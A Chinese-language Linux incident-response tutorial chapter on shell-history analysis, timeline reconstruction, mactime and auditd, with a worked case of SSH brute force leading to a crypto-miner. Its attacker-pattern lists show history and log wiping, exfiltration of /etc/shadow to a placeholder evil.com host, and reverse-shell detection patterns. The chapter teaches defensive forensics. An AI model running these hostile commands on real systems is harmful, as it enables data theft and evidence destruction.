09-历史记录与时间线分析 (History & Timeline Analysis) 历史记录和时间线分析是 Linux 应急响应中串联所有证据 的核心能力。单独的日志、进程、文件证据只是碎片,只有将它们按时间顺序排列,才能还原完整的攻击故事(Attack Story)。本章详细讲解 Shell 历史分析、时间线构建方法论、mactime 工具使用、Auditd 审计系统,以及综合实战。
日志分析基础知识请参考 03-日志分析基础 ,进程与网络分析请参考 05-进程与网络分析 。
1. Shell 历史记录分析 1.1 历史文件位置 不同 Shell 使用不同的历史文件:
Shell
默认历史文件
环境变量
bash
~/.bash_history
HISTFILE
zsh
~/.zsh_history
HISTFILE
sh
~/.sh_history 或 ~/.history
HISTFILE
fish
~/.local/share/fish/fish_history
不可更改
ksh
~/.sh_history
HISTFILE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for home in /home/* /root; do [ -d "$home " ] || continue echo "====== $home ======" [ -f "$home /.bash_history" ] && echo " bash_history: $(wc -l < "$home /.bash_history" ) 行, $(ls -lh "$home /.bash_history" | awk '{print $5}') " [ -f "$home /.zsh_history" ] && echo " zsh_history: $(wc -l < "$home /.zsh_history" ) 行, $(ls -lh "$home /.zsh_history" | awk '{print $5}') " [ -f "$home /.history" ] && echo " .history: $(wc -l < "$home /.history" ) 行" [ -f "$home /.sh_history" ] && echo " .sh_history: $(wc -l < "$home /.sh_history" ) 行" done
1.2 HISTSIZE 和 HISTFILESIZE
变量
含义
默认值
HISTSIZE
内存中保存的历史命令数量
通常 500 或 1000
HISTFILESIZE
历史文件中保存的最大行数
通常 500 或 2000
HISTCONTROL
控制哪些命令不被记录
通常 ignoredups
HISTTIMEFORMAT
历史命令的时间戳格式
通常未设置
HISTIGNORE
不记录匹配的命令模式
通常未设置
1 2 3 4 5 6 7 8 9 10 echo "HISTSIZE=$HISTSIZE " echo "HISTFILESIZE=$HISTFILESIZE " echo "HISTCONTROL=$HISTCONTROL " echo "HISTTIMEFORMAT=$HISTTIMEFORMAT " echo "HISTFILE=$HISTFILE " echo "HISTIGNORE=$HISTIGNORE " grep -n "HIST" /home/*/.bashrc /home/*/.bash_profile /root/.bashrc /root/.bash_profile 2>/dev/null
1.3 攻击者清除历史的方法(重点检测) 攻击者在完成攻击后通常会尝试清除 Shell 历史记录。识别这些清除行为本身就是重要的攻击痕迹。
方法1:清空内存中的历史并写入文件
方法2:禁用历史记录
1 2 3 4 5 6 unset HISTFILE export HISTFILE=/dev/null HISTSIZE=0 HISTFILESIZE=0 set +o history
方法3:利用 HISTCONTROL
1 2 3 4 5 export HISTCONTROL=ignorespace whoami cat /etc/shadow
方法4:直接操作历史文件
1 2 3 4 5 6 7 8 9 > ~/.bash_history rm ~/.bash_history echo "" > ~/.bash_history shred -zu ~/.bash_history sed -i '/curl.*evil/d' ~/.bash_history sed -i '/wget.*payload/d' ~/.bash_history
方法5:使用替代方式执行命令
1 2 3 4 5 6 7 8 script /dev/null -c "malicious_command" bash -c "malicious_command" echo "malicious_command" | at now
1.4 检测历史被清除的方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for home in /home/* /root; do hist="$home /.bash_history" if [ -f "$hist " ]; then size=$(wc -c < "$hist " ) lines=$(wc -l < "$hist " ) echo "$hist : $lines 行, $size 字节" if [ "$size " -lt 100 ] && [ "$lines " -lt 5 ]; then echo " [!] 警告:历史文件异常小,可能被清除" fi elif [ -d "$home " ]; then echo "$hist : 不存在 [!] 可能被删除" fi done
1 2 3 4 5 6 7 8 9 10 for home in /home/* /root; do hist="$home /.bash_history" if [ -f "$hist " ]; then echo "--- $hist ---" stat "$hist " | grep -i "modify\|change\|birth" fi done
1 2 3 4 5 6 7 8 9 10 11 for home in /home/* /root; do hist="$home /.bash_history" [ -f "$hist " ] || continue result=$(grep -n "history -c\|history -w\|HISTSIZE=0\|HISTFILE=/dev/null\|unset HISTFILE\|shred.*history\|> .*history\|rm.*history\|set +o history" "$hist " 2>/dev/null) if [ -n "$result " ]; then echo "[!] 在 $hist 中发现历史清除行为:" echo "$result " fi done
1 2 3 4 5 6 7 8 9 10 11 for home in /home/* /root; do rc="$home /.bashrc" [ -f "$rc " ] || continue result=$(grep -n "HISTSIZE=0\|HISTFILESIZE=0\|HISTFILE=/dev/null\|unset HISTFILE\|set +o history" "$rc " 2>/dev/null) if [ -n "$result " ]; then echo "[!] 在 $rc 中发现历史劫持配置:" echo "$result " fi done
1.5 zsh 历史文件格式 zsh 的历史文件格式与 bash 不同,默认带有时间戳和执行时长:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 cat ~/.zsh_history | while IFS= read -r line; do if echo "$line " | grep -q "^: [0-9]*:[0-9]*;" ; then ts=$(echo "$line " | sed 's/^: \([0-9]*\):.*/\1/' ) cmd=$(echo "$line " | sed 's/^: [0-9]*:[0-9]*;//' ) echo "$(date -d @"$ts " '+%Y-%m-%d %H:%M:%S' 2>/dev/null || date -r "$ts " '+%Y-%m-%d %H:%M:%S' 2>/dev/null) $cmd " else echo "$line " fi done
2. 从历史记录中提取攻击痕迹 2.1 攻击者常见命令模式分类 在分析历史记录时,关注以下几类命令模式:
阶段1:信息收集 (Reconnaissance)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 id ; whoami ; uname -a; hostnamecat /etc/os-release; cat /etc/redhat-releasecat /proc/versioncat /etc/passwd; cat /etc/shadow; cat /etc/groupw; who ; last ifconfig; ip addr; ip route netstat -tlnp; ss -tlnp cat /etc/hosts; cat /etc/resolv.confiptables -L -n ps aux; top systemctl list-units --type =service crontab -l df -h; mountfind / -perm -4000 -type f find / -writable -type f
阶段2:权限提升 (Privilege Escalation)
1 2 3 4 5 6 7 su; su -; sudo su sudo bash; sudo -ichmod u+s; chmod 4755chown root:rootgcc exploit.c -o exploit; ./exploit python3 exploit.py
阶段3:持久化 (Persistence)
1 2 3 4 5 crontab -e; echo "..." >> /var/spool/cron/root echo "..." >> ~/.bashrc; echo "..." >> /etc/profilessh-keygen; echo "..." >> ~/.ssh/authorized_keys useradd; usermod -aG sudo systemctl enable ...; cp ... /etc/systemd/system/
阶段4:横向移动 (Lateral Movement)
1 2 3 4 ssh user@host; scp file user@host: rsync -avz ... user@host: curl http://internal-host/...; wget http://internal-host/... ping; nmap; masscan
阶段5:数据窃取 (Data Exfiltration)
1 2 3 4 5 6 tar czf /tmp/data.tar.gz /sensitive/data/ zip -r /tmp/data.zip /sensitive/ scp /tmp/data.tar.gz attacker@external: curl -F "file=@/tmp/data.tar.gz" http://evil.com/upload cat /etc/shadow | xxd -p | while read line; do dig $line .evil.com; done
阶段6:痕迹清除 (Anti-Forensics)
1 2 3 4 5 6 history -c; history -wrm -rf /var/log/*; > /var/log/auth.logshred -zu ~/.bash_historyuserdel backdoor_user rm /etc/systemd/system/evil.servicetouch -t 202301010000 /path/to/modified/file
2.2 自动提取关键命令的脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #!/bin/bash RED='\033[0;31m' YELLOW='\033[1;33m' NC='\033[0m' declare -A PATTERNSPATTERNS[信息收集]="(^|\s)(id|whoami|uname|hostname|ifconfig|ip addr|ip route|cat /etc/passwd|cat /etc/shadow|cat /etc/group|netstat|ss -[tlnp]|iptables|find.*perm.*4000|find.*writable|cat /proc/version|cat /etc/os-release)" PATTERNS[权限提升]="(^|\s)(sudo su|sudo bash|sudo -i|chmod.*u\+s|chmod.*4[0-9]{3}|chown root|gcc.*exploit|python.*exploit|pkexec|dirtycow|CVE-)" PATTERNS[持久化]="(crontab|/var/spool/cron|>> .*bashrc|>> .*profile|ssh-keygen|authorized_keys|useradd|usermod.*sudo|systemctl enable|/etc/systemd/system)" PATTERNS[横向移动]="(^|\s)(ssh |scp |rsync |nmap |masscan |ping -c|proxychains|chisel|frp)" PATTERNS[数据窃取]="(tar.*czf|zip.*-r|scp.*@.*:|curl.*-F.*file|curl.*upload|curl.*exfil|nc.*<)" PATTERNS[痕迹清除]="(history -[cw]|unset HISTFILE|HISTSIZE=0|> .*\..*history|rm.*\..*history|shred.*history|rm.*log|> /var/log|userdel|touch -[trd])" PATTERNS[网络下载]="(curl|wget|lynx|fetch)\s.*(http|ftp|https)" PATTERNS[反弹Shell]="(/dev/tcp|/dev/udp|mkfifo|nc\s+-[elp]|ncat|bash -i|python.*socket.*connect|perl.*socket)" echo "==========================================" echo " Shell 历史可疑命令提取" echo "==========================================" for home in /home/* /root; do for histfile in "$home /.bash_history" "$home /.zsh_history" ; do [ -f "$histfile " ] || continue echo "" echo -e "${YELLOW} ====== $histfile ======${NC} " for stage in "${!PATTERNS[@]} " ; do result=$(grep -nP "${PATTERNS[$stage]} " "$histfile " 2>/dev/null) if [ -n "$result " ]; then echo -e "${RED} [$stage ]${NC} " echo "$result " | sed 's/^/ /' fi done done done
2.3 带时间戳的历史记录 如果系统配置了 HISTTIMEFORMAT,历史记录会包含时间戳,这对时间线构建非常有价值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 grep "HISTTIMEFORMAT" /etc/profile /etc/bash.bashrc /home/*/.bashrc /root/.bashrc 2>/dev/null awk '/^#[0-9]{10}$/{ ts = substr($0, 2); getline; print strftime("%Y-%m-%d %H:%M:%S", ts), $0 }' ~/.bash_history
应急响应建议 :在事件响应初期,如果系统尚未配置 HISTTIMEFORMAT,可以先设置它以便记录后续操作的时间戳(但不会影响已有历史)。
1 2 export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S "
3. 时间线构建方法论(核心) 3.1 为什么需要时间线 在应急响应中,时间线是将零散的证据碎片 串联为完整攻击故事 的关键工具。它回答以下核心问题:
攻击者是何时 进入系统的?
攻击的各阶段顺序 是什么?
攻击者在系统上做了什么 ?
哪些数据何时 被窃取?
攻击者何时 离开或是否仍在系统中?
3.2 时间线信息来源
来源
位置/命令
提供的信息
时间精度
文件时间戳
stat, find
文件创建/修改/访问时间
秒级
认证日志
/var/log/auth.log, /var/log/secure
登录、sudo、SSH 事件
秒级
系统日志
/var/log/syslog, /var/log/messages
服务启动、内核消息
秒级
Web 日志
/var/log/apache2/access.log, /var/log/nginx/
HTTP 请求
秒级
登录记录
last, lastb, lastlog
登录/登出/失败登录
秒级
Shell 历史
~/.bash_history (带 HISTTIMEFORMAT)
执行的命令
秒级(如有)
进程信息
ps -eo lstart,pid,cmd
进程启动时间
秒级
Cron 日志
/var/log/cron, grep CRON /var/log/syslog
计划任务执行
秒级
Audit 日志
/var/log/audit/audit.log
系统调用、文件访问
毫秒级
Systemd Journal
journalctl
所有 systemd 管理的日志
微秒级
dmesg
dmesg -T
内核消息
秒级
wtmp/btmp
/var/log/wtmp, /var/log/btmp
登录/失败登录二进制记录
秒级
3.3 时间线格式 标准的时间线格式:
1 2 3 4 5 6 7 8 时间 | 来源 | 事件类型 | 详情 | IOC/备注 ------------------- |------------- |--------- |------------------------ |-------- 2025-01-08 02:00:15 | auth.log | 暴力破解 | Failed password from 203.0.113.42 | 攻击源 IP 2025-01-08 02:15:33 | auth.log | 登录成功 | Accepted password for admin | 暴力破解成功 2025-01-08 02:16:01 | bash_history | 信息收集 | id; uname -a; cat /etc/passwd | - 2025-01-08 02:18:22 | bash_history | 提权 | sudo su | - 2025-01-08 02:20:45 | file mtime | 持久化 | /etc/cron.d/sysupdate 被创建 | 恶意 crontab ...
3.4 从各来源提取时间线数据 文件时间戳提取 :
1 2 3 4 5 6 7 8 9 10 11 12 13 find / -type f -newermt "2025-01-08 00:00" ! -newermt "2025-01-09 00:00" \ -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \ -printf "%T+ %p\n" 2>/dev/null | sort find / -type f -mtime -1 \ -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \ -printf "%T+ %p\n" 2>/dev/null | sort find /etc /tmp /var /home /root -type f -mtime -7 \ -exec stat --format="%Y %y MODIFY %n" {} \; 2>/dev/null | sort -n
认证日志提取 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 awk '{ timestamp = $1 " " $2 " " $3; if (/Failed password/) print timestamp, "AUTH_FAIL", $0; else if (/Accepted password/) print timestamp, "AUTH_OK", $0; else if (/session opened/) print timestamp, "SESSION_OPEN", $0; else if (/session closed/) print timestamp, "SESSION_CLOSE", $0; else if (/sudo:/) print timestamp, "SUDO", $0; }' /var/log/auth.logawk '{ timestamp = $1 " " $2 " " $3; if (/Failed password/) print timestamp, "AUTH_FAIL", $0; else if (/Accepted password/) print timestamp, "AUTH_OK", $0; else if (/session opened/) print timestamp, "SESSION_OPEN", $0; else if (/sudo:/) print timestamp, "SUDO", $0; }' /var/log/secure
登录记录提取 :
1 2 3 4 5 6 7 8 9 last -F | head -50 lastb -F 2>/dev/null | head -50 lastlog | grep -v "Never"
进程启动时间 :
1 2 3 4 5 6 7 8 ps -eo lstart,pid,ppid,user,args --sort =start_time | tail -30 ps -eo lstart,pid,user,args | while read -r line; do echo "$line " done
Systemd Journal 提取 :
1 2 3 4 5 6 7 8 9 10 11 journalctl --since "2025-01-08 00:00" --until "2025-01-09 00:00" --no-pager journalctl -u sshd.service --since "2025-01-08" --no-pager journalctl -k --since "2025-01-08" --no-pager journalctl --since "2025-01-08" --output json --no-pager
4. mactime 工具(Sleuthkit) mactime 是 The Sleuth Kit (TSK) 套件中的工具,可以生成基于文件系统时间戳的详细时间线。适用于离线取证分析。
4.1 安装 Sleuthkit 1 2 3 4 5 6 7 apt-get install sleuthkit yum install sleuthkit yum install epel-release && yum install sleuthkit
4.2 生成 Body File Body file 是 mactime 使用的中间格式,包含文件系统中所有文件的元数据:
1 2 3 4 5 6 7 8 9 10 11 fls -r -m "/" /dev/sdX > bodyfile.txt fls -r -m "/" -o 2048 disk_image.dd > bodyfile.txt find / -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \ -printf "0|%p|0|0|0|0|%s|%A@|%T@|%C@|0\n" 2>/dev/null > bodyfile_live.txt
4.3 生成时间线 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mactime -b bodyfile.txt -d > timeline.csv mactime -b bodyfile.txt -d 2025-01-08..2025-01-09 > timeline_filtered.csv
4.4 分析时间线 1 2 3 4 5 6 7 8 9 10 11 mactime -b bodyfile.txt -d 2025-01-08T02:00:00..2025-01-08T03:00:00 | \ grep -v "^$" | head -50 mactime -b bodyfile.txt -d 2025-01-08..2025-01-09 | \ grep -E "(/etc/|/tmp/|/var/spool/cron|/home/)" | head -50 mactime -b bodyfile.txt -d 2025-01-08..2025-01-09 | \ grep "\.b\." | head -50
4.5 实际应用场景 mactime 最适合以下场景:
离线取证 :对磁盘镜像进行分析
确定攻击时间窗口 :通过大量文件的时间戳变化定位攻击时段
发现隐藏文件 :fls 可以发现已删除的文件
验证时间戳篡改 :对比 mtime 和 ctime 是否一致
5. Auditd 审计系统 Auditd 是 Linux 内核级的审计系统,可以记录系统调用、文件访问、网络操作等详细信息。在应急响应中,audit 日志是最有价值的证据来源之一。
5.1 基础概念 1 2 3 4 5 6 7 8 9 10 11 systemctl status auditd auditctl -l ls -la /var/log/audit/audit.logcat /etc/audit/auditd.conf | grep -v "^#\|^$"
5.2 配置审计规则 文件访问监控 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 auditctl -w /etc/passwd -p wa -k passwd_changes auditctl -w /etc/shadow -p wa -k shadow_changes auditctl -w /etc/crontab -p wa -k crontab_changes auditctl -w /var/spool/cron/ -p wa -k crontab_changes auditctl -w /etc/cron.d/ -p wa -k crond_changes auditctl -w /etc/ssh/sshd_config -p wa -k sshd_config auditctl -w /root/.ssh/authorized_keys -p wa -k auth_keys auditctl -w /etc/systemd/system/ -p wa -k systemd_changes
命令执行监控 :
1 2 3 4 5 6 7 8 9 10 11 12 auditctl -a always,exit -F arch =b64 -S execve -k cmd_exec auditctl -a always,exit -F arch =b32 -S execve -k cmd_exec auditctl -a always,exit -F arch =b64 -S execve -F euid=0 -k root_cmd auditctl -a always,exit -F arch =b64 -S execve -F path=/usr/bin/wget -k wget_exec auditctl -a always,exit -F arch =b64 -S execve -F path=/usr/bin/curl -k curl_exec
网络连接监控 :
1 2 3 4 5 auditctl -a always,exit -F arch =b64 -S connect -k network_connect auditctl -a always,exit -F arch =b64 -S socket -k socket_create
持久化审计规则 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cat >> /etc/audit/rules.d/incident.rules << 'EOF' -w /etc/passwd -p wa -k passwd_changes -w /etc/shadow -p wa -k shadow_changes -w /etc/crontab -p wa -k crontab_changes -w /var/spool/cron/ -p wa -k crontab_changes -w /etc/systemd/system/ -p wa -k systemd_changes -a always,exit -F arch =b64 -S execve -F euid=0 -k root_cmd -a always,exit -F arch =b64 -S connect -k network_connect EOF augenrules --load
5.3 使用 ausearch 搜索审计日志 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ausearch -k passwd_changes ausearch -k crontab_changes ausearch -k cmd_exec ausearch -ts 01/08/2025 02:00:00 -te 01/08/2025 03:00:00 ausearch -ua root ausearch -ua 1000 ausearch -sc execve ausearch -sc connect ausearch -f /etc/passwd ausearch -f /etc/crontab ausearch -k cmd_exec -ts 01/08/2025 02:00:00 -te 01/08/2025 03:00:00 -ua root ausearch -k cmd_exec -i | head -50
5.4 使用 aureport 生成审计报告 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 aureport --summary aureport -au --summary aureport -l aureport -x --summary aureport -f --summary aureport --anomaly aureport -ts 01/08/2025 02:00:00 -te 01/08/2025 03:00:00 -x aureport --failed
5.5 Audit 日志格式解读 1 2 type =EXECVE msg =audit(1704672015.123:456): argc =3 a0 ="curl" a1 ="-fsSL" a2 ="http://evil.com/x.sh" type =SYSCALL msg =audit(1704672015.123:456): arch =c000003e syscall =59 success =yes exit =0 a0 =... ppid =2845 pid =2847 auid =1000 uid =0 gid =0 euid =0 comm ="curl" exe ="/usr/bin/curl" key ="cmd_exec"
关键字段 :
msg=audit(时间戳:序列号) — 事件时间(Unix 时间戳.毫秒)
auid — Audit UID,即最初登录的用户(即使 sudo 后也不变)
uid/euid — 当前用户/有效用户
comm — 命令名
exe — 可执行文件完整路径
key — 匹配的审计规则标签
ppid/pid — 父进程/当前进程 ID
success — 是否成功
5.6 在应急响应中利用 Audit 日志 场景:还原攻击者执行的所有命令
1 2 3 4 5 6 7 8 9 10 11 12 13 ausearch -sc execve -i --format csv 2>/dev/null | head -100 ausearch -sc execve -i 2>/dev/null | grep "type=EXECVE" | \ while read -r line; do args=$(echo "$line " | grep -oP 'a[0-9]+="[^"]*"' | sed 's/a[0-9]*=//g;s/"//g' | tr '\n' ' ' ) echo "$args " done ausearch -sc execve -i 2>/dev/null | grep -A2 "curl\|wget\|bash -[ci]\|python\|perl\|nc "
场景:找出谁修改了 crontab
1 2 ausearch -k crontab_changes -i
6. 综合时间线构建实战 6.1 完整案例:SSH 暴力破解 → 提权 → 持久化 → 挖矿 背景 :安全监控平台告警显示服务器 10.1.1.100 存在异常 CPU 使用和可疑外连。
时间线重建过程 :
第一步:确定时间窗口
1 2 3 4 5 ps -eo lstart,pid,user,args | grep -i "mine\|xmr\|kworker.*\["
第二步:收集各来源的时间线数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 grep "Jan 8" /var/log/auth.log > /tmp/evidence/timeline_auth.txt grep "Jan 8" /var/log/syslog > /tmp/evidence/timeline_syslog.txt grep "Jan 8" /var/log/syslog | grep CRON > /tmp/evidence/timeline_cron.txt cp /root/.bash_history /tmp/evidence/history_root.txtcp /home/admin/.bash_history /tmp/evidence/history_admin.txtfind / -type f -newermt "2025-01-08" ! -newermt "2025-01-09" \ -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \ -printf "%T+ %p\n" 2>/dev/null | sort > /tmp/evidence/timeline_files.txt last -F > /tmp/evidence/logins.txt lastb -F > /tmp/evidence/failed_logins.txt 2>/dev/null
第三步:整合分析,构建时间线
经过分析各数据来源,得到以下完整时间线:
时间
来源
事件
IOC/备注
01-08 01:30
auth.log
SSH 暴力破解开始
来源: 203.0.113.42,针对 admin 用户
01-08 01:30~02:15
auth.log
持续暴力破解
约 5000 次失败尝试
01-08 02:15:33
auth.log
SSH 登录成功
admin 用户,密码认证
01-08 02:15:35
auth.log
Session 打开
pam_unix session opened for admin
01-08 02:16:01
bash_history
信息收集
id; uname -a; cat /etc/passwd
01-08 02:16:30
bash_history
信息收集
ifconfig; netstat -tlnp
01-08 02:17:15
bash_history
尝试提权
sudo su(成功,admin 有 sudo 权限)
01-08 02:17:16
auth.log
sudo 认证
admin : TTY=pts/0 ; COMMAND=/bin/su
01-08 02:18:00
bash_history
下载工具
wget http://203.0.113.42:8080/kit.tar.gz -O /tmp/.k.tgz
01-08 02:18:15
file mtime
文件创建
/tmp/.k.tgz 被创建
01-08 02:18:20
bash_history
解压工具
tar xzf /tmp/.k.tgz -C /tmp/.config/
01-08 02:18:25
file mtime
目录创建
/tmp/.config/ 多个文件被创建
01-08 02:19:00
bash_history
植入 crontab
echo "*/5 * * * * /tmp/.config/update" | crontab -
01-08 02:19:05
file mtime
crontab 修改
/var/spool/cron/crontabs/root 被修改
01-08 02:19:30
bash_history
创建 systemd 服务
cp /tmp/.config/sys-update.service /etc/systemd/system/
01-08 02:19:35
file mtime
service 创建
/etc/systemd/system/sys-update.service 被创建
01-08 02:19:40
bash_history
启用服务
systemctl enable --now sys-update.service
01-08 02:19:41
syslog
服务启动
sys-update.service started
01-08 02:20:00
bash_history
启动挖矿
/tmp/.config/xmrig -c /tmp/.config/config.json
01-08 02:20:01
netstat
外连建立
连接到矿池 pool.minexmr.com:4443
01-08 02:21:00
bash_history
清除痕迹
history -c; history -w
01-08 02:25:00
cron log
定时任务执行
CRON: (root) CMD (/tmp/.config/update)
每行证据的发现方法 :
暴力破解记录:grep "Failed password" /var/log/auth.log | grep "Jan 8"
登录成功:grep "Accepted password" /var/log/auth.log | grep "Jan 8"
命令历史:cat /root/.bash_history(注意:history -c 执行之前的部分命令可能还在)
文件创建时间:stat /tmp/.config/xmrig、stat /etc/systemd/system/sys-update.service
服务启动:journalctl -u sys-update.service
6.2 时间线可视化 将时间线数据导出为 CSV 后,可以使用以下工具可视化:
Timeline Explorer — 免费的 Windows 工具,适合浏览大量时间线数据
Plaso/log2timeline — 专业取证时间线生成工具
Elastic Stack — 将数据导入 Elasticsearch,用 Kibana 可视化
Excel/LibreOffice Calc — 简单场景下使用
7. 时间线构建脚本 7.1 自动化时间线生成脚本 以下脚本从多个日志源提取带时间戳的事件,合并排序后输出统一格式的时间线:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 #!/bin/bash START_DATE="${1:-$(date -d '7 days ago' '+%Y-%m-%d' 2>/dev/null || date -v-7d '+%Y-%m-%d')} " END_DATE="${2:-$(date '+%Y-%m-%d')} " OUTPUT="/tmp/timeline_$(date '+%Y%m%d_%H%M%S') .csv" echo "时间,来源,事件类型,详情" > "$OUTPUT " echo "[*] 时间范围: $START_DATE ~ $END_DATE " echo "[*] 输出文件: $OUTPUT " echo "" echo "[1/6] 处理认证日志..." AUTH_LOG="/var/log/auth.log" [ -f "/var/log/secure" ] && AUTH_LOG="/var/log/secure" if [ -f "$AUTH_LOG " ]; then grep "Failed password" "$AUTH_LOG " 2>/dev/null | while IFS= read -r line; do ts=$(echo "$line " | awk '{print $1, $2, $3}' ) src=$(echo "$line " | grep -oP 'from \K[\d.]+' ) user=$(echo "$line " | grep -oP 'for (invalid user )?\K\w+' ) echo "$ts ,auth.log,AUTH_FAIL,Failed login for $user from $src " done >> "$OUTPUT " grep "Accepted" "$AUTH_LOG " 2>/dev/null | while IFS= read -r line; do ts=$(echo "$line " | awk '{print $1, $2, $3}' ) src=$(echo "$line " | grep -oP 'from \K[\d.]+' ) user=$(echo "$line " | grep -oP 'for \K\w+' ) echo "$ts ,auth.log,AUTH_OK,Successful login for $user from $src " done >> "$OUTPUT " grep "sudo:" "$AUTH_LOG " 2>/dev/null | grep "COMMAND=" | while IFS= read -r line; do ts=$(echo "$line " | awk '{print $1, $2, $3}' ) cmd=$(echo "$line " | grep -oP 'COMMAND=\K.*' ) user=$(echo "$line " | grep -oP '^\S+ \S+ \S+ \S+ \S+ \K\w+' ) echo "$ts ,auth.log,SUDO,$user executed: $cmd " done >> "$OUTPUT " fi echo "[2/6] 处理 Cron 日志..." grep "CRON.*CMD" /var/log/syslog 2>/dev/null | while IFS= read -r line; do ts=$(echo "$line " | awk '{print $1, $2, $3}' ) cmd=$(echo "$line " | grep -oP 'CMD \(\K[^)]+' ) user=$(echo "$line " | grep -oP 'CRON\[\d+\]: \(\K\w+' ) echo "$ts ,cron,CRON_EXEC,$user : $cmd " done >> "$OUTPUT " grep "CMD" /var/log/cron 2>/dev/null | while IFS= read -r line; do ts=$(echo "$line " | awk '{print $1, $2, $3}' ) cmd=$(echo "$line " | grep -oP 'CMD \(\K[^)]+' ) user=$(echo "$line " | grep -oP 'CROND\[\d+\]: \(\K\w+' ) echo "$ts ,cron,CRON_EXEC,$user : $cmd " done >> "$OUTPUT " echo "[3/6] 扫描关键文件修改..." KEY_DIRS="/etc /var/spool/cron /tmp /dev/shm /root /home" find $KEY_DIRS -type f -newermt "$START_DATE " ! -newermt "$END_DATE " \ -not -path "/proc/*" -not -path "/sys/*" \ -printf "%TY-%Tm-%Td %TH:%TM:%TS,file_mtime,FILE_MODIFY,%p\n" 2>/dev/null >> "$OUTPUT " echo "[4/6] 处理登录记录..." last -F 2>/dev/null | grep -v "^$\|wtmp begins\|reboot\|still logged" | while IFS= read -r line; do user=$(echo "$line " | awk '{print $1}' ) src=$(echo "$line " | awk '{print $3}' ) ts=$(echo "$line " | grep -oP '\w+ \w+ +\d+ \d+:\d+:\d+ \d+' | head -1) [ -n "$ts " ] && echo "$ts ,wtmp,LOGIN,$user from $src " done >> "$OUTPUT " echo "[5/6] 处理 Systemd Journal..." journalctl --since "$START_DATE " --until "$END_DATE " --no-pager \ --output short-iso 2>/dev/null | \ grep -iP "(started|stopped|failed|error|warning|ssh|cron|service)" | \ head -500 | while IFS= read -r line; do ts=$(echo "$line " | awk '{print $1}' ) msg=$(echo "$line " | cut -d' ' -f5-) echo "$ts ,journal,SYSTEM,$msg " done >> "$OUTPUT " echo "[6/6] 处理 Audit 日志..." if [ -f /var/log/audit/audit.log ]; then ausearch -ts "$START_DATE " -te "$END_DATE " -sc execve --format csv 2>/dev/null | \ head -500 >> "$OUTPUT " 2>/dev/null if [ $? -ne 0 ]; then ausearch -ts "$START_DATE " -te "$END_DATE " -sc execve -i 2>/dev/null | \ grep "type=EXECVE" | head -200 | while IFS= read -r line; do ts=$(echo "$line " | grep -oP 'msg=audit\(\K[^)]+' | cut -d: -f1) args=$(echo "$line " | grep -oP 'a[0-9]+="[^"]*"' | sed 's/a[0-9]*=//g;s/"//g' | tr '\n' ' ' ) [ -n "$ts " ] && echo "$ts ,audit,CMD_EXEC,$args " done >> "$OUTPUT " fi fi echo "" echo "[*] 排序时间线..." header=$(head -1 "$OUTPUT " ) tail -n +2 "$OUTPUT " | sort > "${OUTPUT} .tmp" echo "$header " > "$OUTPUT " cat "${OUTPUT} .tmp" >> "$OUTPUT " rm "${OUTPUT} .tmp" total=$(wc -l < "$OUTPUT " ) echo "[+] 完成!共 $((total - 1) ) 条事件" echo "[+] 输出文件: $OUTPUT " echo "" echo "前 20 条事件:" head -21 "$OUTPUT " | column -t -s','
7.2 使用 log2timeline (plaso) 进行专业取证 对于更专业的取证场景,推荐使用 plaso/log2timeline:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pip3 install plaso docker pull log2timeline/plaso log2timeline.py --storage-file timeline.plaso disk_image.dd log2timeline.py --storage-file timeline.plaso /var/log/ /etc/ /home/ psort.py --output-time-zone UTC -o l2tcsv -w timeline.csv timeline.plaso psort.py --output-time-zone UTC -o l2tcsv -w timeline_filtered.csv \ timeline.plaso "date > '2025-01-08' AND date < '2025-01-09'"
8. 练习 8.1 综合练习:完整攻击时间线重建 练习目标 :在实验环境中,使用本页所有技术重建完整攻击时间线。
练习环境搭建 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 FROM ubuntu:22.04 RUN apt-get update && apt-get install -y \ openssh-server rsyslog cron auditd \ curl wget python3 netcat-openbsd RUN echo 'export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S "' >> /etc/profile
练习任务 :
历史记录分析 :找出所有用户的历史文件,分析哪些被清除、哪些有攻击痕迹
日志关联 :从 auth.log、syslog、cron 日志中提取关键事件
文件时间线 :使用 find 和 stat 构建文件变更时间线
时间线整合 :将所有证据合并为统一的时间线
攻击故事撰写 :基于时间线写出完整的攻击叙述
评估标准 :
能否准确定位攻击起始时间?
能否识别所有持久化机制?
时间线是否完整覆盖攻击的每个阶段?
是否发现了攻击者的反取证行为?
8.2 单项练习 练习A:Shell 历史取证
给定一个包含攻击痕迹的 .bash_history 文件,分析攻击者执行了哪些命令,划分攻击阶段。
练习B:Auditd 日志分析
配置 auditd 规则,模拟攻击操作,然后仅使用 ausearch 和 aureport 还原攻击行为。
练习C:mactime 文件系统分析
